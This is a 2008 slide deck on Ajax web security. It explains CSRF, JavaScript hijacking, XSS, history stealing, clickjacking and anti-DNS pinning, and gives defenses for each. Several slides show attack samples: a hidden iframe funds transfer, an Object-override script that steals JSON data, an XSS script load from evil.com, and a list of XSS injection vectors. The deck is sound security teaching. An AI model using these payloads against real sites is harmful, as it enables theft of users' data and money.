Ajax Security

Copyright SitePen, Inc. 2008. All Rights Reserved

Ajax SecurityKeeping your application safe

Joe Walker


89 out of 10 Websiteshave serious vulnerabilities


Goal: Keep the bad guys out of your website


The Attackers

Who is the attacker?• Troublemakers / Thieves

Who is the victim?• Your data / Your users / Your partners


Agenda

CSRF, Login CSRF

JavaScript Hijacking

XSS

History Stealing

Combination Attacks

Session Fixation + ADP + Clickjacking

CSRF(Cross Site Request Forgery)

You can still abuse someone else’s cookies and headers even if you can’t read them


Recap: Cross-Domain Rules

www.bank.com

c = document.cookie;alert(c);/*Shows cookies fromwww.bank.com*/

www.evil.com

c = document.cookie;alert(c);/*Shows cookies fromwww.evil.com*/


Abusing a Cookie without reading it

www.bank.com www.evil.com

Welcome to Bank.comWe offer the best rates anywhere in the world, guaranteed. Give us your

money and we will look after it in the same way we look after little

baby kittens.

Welcome to Evil.comWe’ve got lots of warez to give away for freee. Download our stuffs and

then come back and get more stuffs. Videoz, Warez, Codez, Mp3s

.

<iframe width=0 height=0 src="http://bank.com/transfer?amnt=all&dest=MrEvil"/>


CSRF

JavaScript is not always required to exploit a CSRF hole

Often all you need is:• <iframe src="dangerous_url">• or <img src="dangerous_url"/>• or <script src="dangerous_url">

You can’t use XHR because cross-domain rules prevent the request from being sent


CSRF

CSRF attacks are write-only (with one exception)

Both GET and POST can be forged

Referrer checking is not a complete fix

It’s not just cookies that get stolen:• HTTP-Auth headers• Active Directory Kerberos tokens


CSRF - Protection

Force users to log off

Check referrer headers (https only)

Include authentication tokensin the body of EVERY request

Not 100% solution

The onlycomplete solution


CSRF - Protection

Security tokens in GET requests are not a great idea (bookmarks, caches, GET is idempotent etc)

POST means forms with hidden fields• OWASP servlet filter

http://www.owasp.org/index.php/CSRF_Guard

Double-submit cookie pattern (Ajax requests only)• Read the cookie with Javascript and submit in the

body

Login CSRF(Tricking someone into thinking they are you)

CSRF turned inside out


Login CSRF

If I can make your browser do things behind your back, how about logging you out of some service and back in as me.

What are the possibilities when you think that you are you, but you’re not; you’re me?


Login CSRF - Attacks

What can I do?• See what you search for• See what books you want to buy• Read emails that you send• Steal credit card details through PayPal• etc


Login CSRF - Defense

If submitting over https: use Referrer checking• Do not assume no referrer is safe

Use authentication tokens in your login formWatch out for session fixation attacks

• Invalidate the server session on login and re-create it

JavaScriptHijacking

(or how your GMail contacts were at risk)

Sucking data out of Objects before they’re created



“CSRF is write-only with one known exception”

Using <script> automatically evaluates the returned script

So if you can just find a way to intercept scripts as they are evaluated ...


<script type="text/javascript">function Object() { alert("Hello, World");}var x = {};</script>


<script type="text/javascript">function Object() { this.__defineSetter__('wibble', function(x) { alert(x); });}

var x = {};x.wibble = "Hello, World";</script>


<script type="text/javascript">var obj;function Object() { obj = this; this.__defineSetter__('killme', function(x) { for (key in obj) { if (key != 'killme') { alert('Stolen: ' + key + '=' + obj[key]); } } }); setTimeout("obj['killme']='ignored';", 0);}</script><script src="http://example.com/data-service/">



When you serve JavaScript from a website it could be evaluated in a hostile environment

Protect secrets in JavaScript in the same way that you would protect them elsewhere


Sometimes people wish to have a double layer of security to prevent evaluation:/*<JSON_HERE>*/ (Don’t do this)

while(true); <JSON_HERE> (Google)

throw new Error(""); <JSON_HERE> (DWR){}&& <JSON_HERE>


XSS (Cross Site Scripting)

Abusing someone’s trust in your typing



XSS

2 types:• Reflected: Script embedded in the request is

‘reflected’ in the response• Stored: Attacker’s input is stored and played back in

later page views


XSS

Scenario: You let the user enter their name

Someone is going to enter their name like this:Joe<script src="http://evil.com/danger.js">

Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe

Generally HTML is not a valid input, but sometimes it is:• Blogs, MySpace, Wikis, RSS readers, etc


XSS - Making User Input Safe

So, you filter out ‘<script.*>’ and then you’re safe.

Right?


XSS - Places that scripts get eval()ed

1. <table background="javascript:danger()">

2. <input type='image' src='javascript:danger()'/>

3. <object type="text/x-scriptlet" data="evil.com/danger.js">

4. <img src='javascript:danger()'/>

5. <frameset> <frame src="javascript:danger()">

6. <link rel="stylesheet" href="javascript:danger()"/>

7. <base href="javascript:danger()">

8. <meta http-equiv="refresh" content="0;url=javascript:danger()">

9. <p style='background-image: url("javascript:danger()")');

10.<a href='javascript:danger()'>11.<tr

background="javascript:danger()">

12.<body onload='danger()'>13.<div onmouseover='danger()'>

14.<body background="javascript:danger()">

15.<div onscroll='danger()'>16.<div onmouseenter='danger()'>17.<style>

@import evil.com/danger.js</style>

18.<style>BODY{-moz-binding:url( "http://evil.com/danger.js#xss" )}</style>

19.<xss style="behavior:url(danger.htc);">

20.<div style="background-image: url(javascript:danger())">

21.<div style="width: expression(danger());">

22.<xss style="xss:expression(danger())">

Many morehttp://ha.ckers.org/xss.html



It’s made 1000 times worse by browsers being able to make sense of virtually anything.This:<a href="a.html" link</a>

makes perfect sense to a browser.



It’s made 1000 times worse by browsers being able to make sense of virtually anything.This:<a href="a.html">link




It’s made 1000 times worse by browsers being able to make sense of virtually anything.This:<a href="a.html >link</a>




It’s made 1000 times worse by browsers being able to make sense of virtually anything.This: (depending on some encoding tricks)¼a href="a.html"¾link¼/a¾




And we haven’t got into:• Flash (ActionScript ~= JavaScript)• SVG (can embed JavaScript)• XML Data Islands (IE only)• HTML+TIME

You can use both <object> and <embed> for many of these


XSS - The Heart of the Problem

“Be conservative in what you do; be liberal in what you accept from others”

Postel’s Law



A

B

In Out+


The web developers get lazy ...


The browser fixes the problems ...


The users like the new

browser ...


The web developersget even lazier ...


The browser fixes the problems ...


The users like thenew browser even

more ...



¼STYLE¾@im\port'\ja\vasc\ri

pt:danger()';¼/STYLE¾


XSS - Protection (HTML is Illegal)

1. Filter inputs by white-listing input characters• Remember to filter header names and values

2. Filter outputs for the destination environmentFor HTML:<⇒< >⇒> '⇒' "⇒" &⇒&

For JavaScript Strings (but see later):'⇒\' "⇒\" LF⇒\n CR⇒\r *⇒\uXXXX

Other environments have other special chars


XSS - Protection (well-formed HTML is legal)

1. Filter inputs as before2. Validate as HTML and throw away if it fails3. Swap characters for entities (as before)4. Swap back whitelist of allowed tags. e.g.:

• <strong> ⇒ <strong>

5. Take extra care over attributes:• &lta href="$[^&]*$"\/>⇒ <a href="$1"/>

6. Take great care over regular expressions


XSS - Protection (malformed HTML is legal)

1. Find another way to do it / Swap jobs / Find some other solution to the problem2. Create a tag soup parser to create a DOM tree from a badly formed HTML document

• Remember to recursively check encodings3. Create a tree walker that removes all non approved elements and attributes


There is NO WAY to protect against some injection points


XSS - Injection Points

Places you can protect:• Plain content<div>$</div>

• Some attribute values<input name=x value="$"> (but take care)

• Javascript string values:<script>str = "$";</script> (but take care)

Anything else is likely to be unsafe


XSS - Injection Points

Places you can’t easily protect:• <script>$</script>• <div $>• <div style="$">...• <div background="$">• <img src="$">• etc

If users can affect CSS values, hrefs, srcs or plain JavaScript then you are likely to have an XSS hole


XSS Tricks:Comment Power-up


XSS - Comment Power-up

Commonly reflected attacks have length restrictions

How to create space for an injection attack

• Use ‘<script>/*’ in an restricted unprotected field and ‘*/’ in a later unrestricted protected field


XSS - Summary

For data input:

• Restrict allowed characters for destination type

For data output:

• Escaped for the destination environment

• Ensure encoding is specified (e.g. UTF-8)

Allow inject only into known safe points

Never assume that a hole is too small to jump through

History Stealing

I know where you’ve been, parts 1, 2, 3


Mr. Evil wants to know if you visit bank.com

He creates a page with a link anduses a script to read the CSS linkcolor:

• purple: customer• blue: not a customer

History Stealing - Part 1



2 methods of detecting link color:• Easy - use JavaScript to read CSS properties• When JS is turned off - use CSS to ping the server



Point a script tag at a protected HTML resource, detect differing replies by differing error messages<script src="http://mail.google.com/mail">

http://ha.ckers.org/weird/javascript-website-login-checker.html



A page can quickly check thousands of sites and find where you bank and store your email

A page can follow your clicks around the net:• Check for common set of URLs• Page reports hits to server• Server reads hit pages, greps out links sends links

back• Page checks and follows a click-stream

Combination Attacks

Small holes don’t add up, they multiply up


If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts

XHR/Flash/Quicktime can be used as a vector

Web worms grow much faster than email worms

So far, infections have been mostly benign, like how email worms were in the early 90’s ...

http://www.whitehatsec.com/downloads/WHXSSThreats.pdf

Web Worms


History stealing to enumerate hosts inside the firewallAnti-DNS pinning to read HTML from insideMany routers / firewalls / etc have default passwords, which an attacker can exploitUse CSRF to alter router / firewall settingshttp://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf

Intranet Hacking

Clickjacking

When the page you are looking at is not the page you think you are looking at


Clickjacking - Protection

if (window.top != window) { document.body.style.display = "none";}

ADP = Anti DNS Pinning

Moving intranet servers into your domain


Anti-DNS Pinning

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

Let’s visitevil.com

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

What’s the IP addressfor evil.com? 1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

You need 1.2.3.4(timeout = 1 sec)

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

Can I havehttp://evil.com?

1.2.3.4

10.0.0.1

DNS for evil.com


HTML + JavaScript that

creates an iframe 2 seconds after

the page has loaded

Anti-DNS Pinning

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

Time passes(2 seconds)

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

What’s the IP addressfor evil.com? 1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

You need 10.0.0.11.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

Can I havehttp://evil.com/blah?

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

This web server is reallyhttp://intranet.corp.com

1.2.3.4

10.0.0.1

DNS for evil.com


Anti-DNS Pinning

Outer frame reads text from inner

iframe and sends it back to 1.2.3.4 1.2.3.4

10.0.0.1

DNS for evil.com


About ‘Pinning’:

Browsers ‘pin’ addresses to stop short timeouts

DNS round-robin forces re-query of DNS if website appears to be down

So websites can get around pins by firewalling themselves thus appearing to be down

Anti-DNS Pinning


Anti-DNS Pinning

It’s not great for the Internet:

The browser thinks the domain is evil.com, so cookies for innocent.com are not sent: Cookie protected resources are safe (for now)

But it’s great for Intranet hacking No cookies needed to read from 192.168.0.1 or 127.0.0.1


Questions?

Joe Walkerhttp://sitepen.com

http://directwebremoting.org/blog/joe

Web 2.0 Hacking

Everything has a down side


Web 2.0 Hacking

Building blocks:• Google Alerts: Search to EMail• Mailinator: EMail to RSS• Ponyfish: Web to RSS via scraping• Storage: DabbleDB, Zoho• Yahoo Pipes: RSS remixing• L8R: Cron for EMail• Google Mashup Editor: RSS to REST API• Dapper, OpenKappow


More Information


Dropping SSL after login is dangerous

Being able to snoop on someone else’s cookie is virtually the same as being able to snoop on their passwordSome services (e.g. Google) default to http after login (bad), but allow you to use https for the whole session:

• https://mail.google.com/mail/• https://www.google.com/calendar/• etc.


Useful Tools

Firefox:• NoScript - Accept scripts only from sites you trust• AltCookies - Accept cookies only from sites you trust• EditCooikes - Alter cookies for testing• Firebug - Dig deeply into HTTP/JavaSript/CSS and HTTP

General:• Paros - Filtering Proxy (can be configured to be

transparent)• Burp - Like Paros• Fiddler - Like Paros with integration into IE

Technology

Ajax Security